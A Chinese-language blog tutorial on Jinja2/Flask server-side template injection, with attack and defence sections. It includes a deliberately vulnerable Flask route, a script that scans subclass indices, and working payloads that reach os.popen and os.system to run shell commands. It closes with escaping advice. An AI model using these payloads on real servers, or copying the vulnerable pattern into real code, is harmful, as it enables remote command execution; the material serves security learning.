Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;
官方文档
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
如果没有SST,那python和html就是写在一个文件里,python代码和html代码混合coding这个,可想而知啊。。。
可是SST又是危险的,因为SST十分相信用户的输入,并且执行这些内容,甚至是本机函数都可以执行。
模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果使用模板时并没用对用户的输入做任何处理或相信用户的输入,攻击者则可通过模板引擎执行系统命令,这就会造成模板注入。模板注入是可以防范的,下面会从攻 与 防进行介绍。
flask后端代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return '不在这里,我的朋友
'
@app.route('/flag/')
def flag():
code = request.args.get('id')
html = '''
hello, do you have id ? , %s
''' % code
return render_template_string(html)
if __name__ == '__main__':
app.run(host='0.0.0.0' , port='4321')
id=123
id={{ 2*2 }}
id={{ config }}
模板十分信任我的输入,这样就可以为所欲为了
XSS
SSTI
构造基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):
''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__
我们需要用到的是warnings.catch_warning所以遇到flask模板注入的时候,只要去找warnings.catch_warning即可
一般是在列表的第59个元素
或构造python脚本
import requests
url = "模板注入的url={{ [].__class__.__base__.__subclasses__()[%s] }}"
for i in range(200):
url_all = url % i
r = requests.get(url_all).text
if 'warnings.catch_warning' in r:
print(i, r)
break
找到warnings.catch_warning就可以为所欲为了
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("ls /").read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__["__builtins__"].__import__("os").system("ls /")}}
第二个payload其实也是成功执行了,但是只会返回数字,那内容去哪里的呢
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191124190919776.png
一般会在flask后台显示
第二种其实调用的是python里的
__import__('os').system('ls /')
当需要让用户的输入改变页面内容时,就需要考虑,是否会造成模板注入。
两不
@app.route('/')
def index():
id = request.args.get('id')
html = '''hello, %s''' % id
return render_template_string(html) # 可以进行SSTI
{{ user_input|safe }}
建议
from jinja2 import escape
@app.route('/')
def index():
id = request.args.get('id')
html = '''hello, %s''' % escape(id)
return render_template_string(html)
# python flask后端脚本
from flask import Markup
@app.template_filter()
def musical(s):
return s + Markup(' ♫')
.........
# html引用
{{ name|musical }}
欢迎各位老爷们点赞和评论,如果问题或者更优解,欢迎来评论